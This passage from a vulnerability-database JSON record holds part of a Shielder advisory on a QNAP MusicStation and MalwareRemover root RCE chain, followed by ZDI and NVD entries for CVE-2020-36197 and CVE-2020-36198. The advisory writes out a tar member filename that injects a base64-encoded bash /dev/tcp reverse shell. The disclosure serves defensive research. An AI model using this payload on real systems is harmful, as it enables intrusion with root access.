specific MalwareRemover folder ($QPKG_ROOT refers to the MalwareRemover QNAP Package folder location which by default is /share/CACHEDEV1_DATA/.qpkg/MalwareRemover/ ) matching the [0-9][0-9]_[0-9a-zA-Z_]\\+\\(\\.[0-9a-zA-Z_\\-]\\+\\)\\? pattern (by the way, this stricter pattern broke the first \u201cfile write -> rce\u201d gadget identified), and its output is saved to the modules variable. At [2] if the current \u201cmodule\u201d filename doesn\u2019t match the pattern (\\.py|\\.pyc|\\.sh)$, /bin/sh -c is used as launcher program, which will interpret its following arguments as shell commands at [3]. The default MalwareRemover installation includes 19 modules, mostly in pyc format (decompilable using uncompyle6). modules/02_autoupgrade.pyc is vulnerable to a command injection and an arbitrary file write in an arbitrary file path (both vulnerabilities allow Remote Code Execution (RCE) as root (administrator)):\n\n\n [...]\n config_path = tostring([47, 116, 109, 112, 47, 99, 111, 110, 102, 105, 103, 47])\n [...]\n tmpconfig_status = check_tmp_config(config_path)\n [...]\n\nconfig_path is a bytearray containing \u201c/tmp/config\u201d, which will be used in check_tmp_config, defined in modules/autoupgrade.pyc:\n\n\n\n def check_tmp_config(config_path):\n [...]\n try:\n[1] mount_config()\n [...]\n\n match_files = []\n for key in akey:\n try:\n match_files += keyword_path(config_path, key, check_mount=True)\n [...]\n\n[2] for dirpath, dirnames, filenames in os.walk(config_path):\n for filename in filenames:\n filepath = '%s/%s' % (dirpath, filename)\n try:\n if tarfile.is_tarfile(filepath) is True and\n[3] is_tarball_match(filepath, ['@openssh']) is True:\n print('%s is malicious tarfile' % filepath)\n\nAt [1] mount_config is called, which will mount a temporary file system in /tmp/config (config_path). At [2] the content of the file system mounted in \u201c/tmp/config\u201d is listed (Note: between [1] and [2] any file created/moved in /tmp/config will be read at [2], indeed this race condition will be exploited) and checked if it contains a tar file and if is_tarball_match returns True. tarfile.is_tarfile doesn\u2019t require the path to have any particular file extension. is_tarball_match is defined in gadget.py:\n\n \n def is_tarball_match(filepath, rules):\n [...]\n tmp_dir = os.path.join(get_hdd_tmp_path(), '.remover_%s' % id_generator())\n LOG.debug('filepath = %s, tmp_dir = %s', filepath, tmp_dir)\n try:\n[1] tar = tarfile.open(filepath)\n [...]\n\n[2] tar.extractall(tmp_dir)\n [...]\n\n for dirpath, dirnames, filenames in os.walk(tmp_dir):\n for filename in filenames:\n filepath = '%s/%s' % (dirpath, filename)\n LOG.debug('check tarball file = %s', filepath)\n for rule in rules:\n try:\n result = None\n[3] string_cmd = 'strings %s | grep -E \"%s\"' % (filepath, rule)\n pobj = os.popen(string_cmd)\n\nAt [1] the tar file is parsed and at [2] all the file entries are extracted in a temporary folder. This is vulnerable to path traversal which enables to write/overwrite any file in the file system with an arbitrary file, like the documentation warns (Warning Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with \"/\" or filenames with two dots \"..\"), however there\u2019s a more immediate way than that to achieve Remote Code Execution. At [3] each filename included in the tar file is checked through an unsafe shell command execution. Via a malicious filename in the input tar file it is possible to achieve Remote Code Execution as root (administrator), e.g. using https://github.com/ptoomey3/evilarc and a bash TCP reverse shell payload:\n\n \n$ git clone https://github.com/ptoomey3/evilarc\nCloning into 'evilarc'...\nremote: Enumerating objects: 12, done.\nremote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12\nUnpacking objects: 100% (12/12), done.\n$ cd evilarc/\n$ echo -n 'bash -i >& /dev/tcp/172.16.42.114/8383 0>&1' | base64\nYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==\n$ touch ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'\n$ ./evilarc.py -f a.tar -o unix -d0 -p \"/tmp/polict\" ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'\nCreating a.tar containing /tmp/polict/;echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#\n\nThe next time MalwareRemover finds and scans the such file, it will spawn a TCP reverse shell as root.\nProof of concept\n\nThe full PoC code will be released at a later time.\nImpact\n\nBy chaining both issues it\u2019s possible to gain pre-auth Remote Code Execution with root privileges on a remote QNAP NAS.\nRemediation\n\nUpgrade QNAP MusicStation and MalwareRemover to the latest version available. (Note: we didn\u2019t verify the patches.)\nDisclosure timeline\n\n 28/09/2020: Submission to ZDI\u2019s portal\n 26/10/2020: While we were waiting for ZDI\u2019s submission feedback, QNAP fixed the \u201cfile write -> rce\u201d gadget vulnerability in MalwareRemover, breaking the full chain exploit\n 27/10/2020: polict finds an alternative gadget to achieve pre-auth remote root rce again and updates the report submitted to ZDI\n 14/05/2021: QNAP\u2019s and ZDI\u2019s advisories are made public:\n MusicStation:\n https://www.qnap.com/zh-tw/security-advisory/qsa-21-08\n https://www.zerodayinitiative.com/advisories/ZDI-21-591/\n MalwareRemover:\n https://www.qnap.com/zh-tw/security-advisory/qsa-21-16\n https://www.zerodayinitiative.com/advisories/ZDI-21-592/\n 19/05/2021: Shielder\u2019s advisory is made public\n\nCredits\n\n `polict` of Shielder\n\nThis advisory was first published on https://www.shielder.it/advisories/qnap-musicstation-malwareremover-pre-auth-remote-code-execution/\n", "sourceHref": "https://0day.today/exploit/36314", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}}], "zdi": [{"lastseen": "2022-01-31T22:22:30", "description": "This vulnerability allows network-adjacent attackers to create arbitrary files on affected installations of QNAP NAS. Authentication is not required to exploit this vulnerability. The specific flaw exists within the MusicStation application. When parsing the arttype request parameter, the process does not properly validate a user-supplied path prior to using it in file operations.An attacker can leverage this vulnerability to create files in the context of the admin user.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-14T00:00:00", "type": "zdi", "title": "QNAP NAS MusicStation Directory Traversal Arbitrary File Creation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36197"], "modified": "2021-05-14T00:00:00", "id": "ZDI-21-591", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-591/", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-26T22:46:27", "description": "This vulnerability allows local attackers to escalate privileges on affected installations of QNAP NAS. Authentication is required to exploit this vulnerability. The specific flaw exists within the Malware Remover application. A crafted TAR file in the file system can trigger execution of a system call composed from a user-supplied string. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the admin user.", "cvss3": {"exploitabilityScore": 0.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 6.7, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-14T00:00:00", "type": "zdi", "title": "QNAP NAS Malware Remover Command Injection Privilege Escalation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36198"], "modified": "2021-05-14T00:00:00", "id": "ZDI-21-592", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-592/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T18:01:02", "description": "An improper access control vulnerability has been reported to affect earlier versions of Music Station. If exploited, this vulnerability allows attackers to compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc. This issue affects: QNAP Systems Inc. Music Station versions prior to 5.3.16 on QTS 4.5.2; versions prior to 5.2.10 on QTS 4.3.6; versions prior to 5.1.14 on QTS 4.3.3; versions prior to 5.3.16 on QuTS hero h4.5.2; versions prior to 5.3.16 on QuTScloud c4.5.4.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-13T03:15:00", "type": "cve", "title": "CVE-2020-36197", "cwe": ["CWE-284"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36197"], "modified": "2021-06-21T16:56:00", "cpe": [], "id": "CVE-2020-36197", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36197", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2022-04-26T20:09:28", "description": "A command injection vulnerability has been reported to affect certain versions of Malware Remover. If exploited, this vulnerability allows remote attackers to execute arbitrary commands. This issue affects: QNAP Systems Inc. Malware Remover versions prior to 4.6.1.0. This issue does not affect: QNAP Systems Inc. Malware Remover 3.x.", "cvss3": {"exploitabilityScore": 0.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 6.7, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-13T03:15:00", "type": "cve", "title": "CVE-2020-36198", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36198"], "modified": "2022-04-26T16:04:00", "cpe": [], "id": "CVE-2020-36198", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-36198", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": []}]}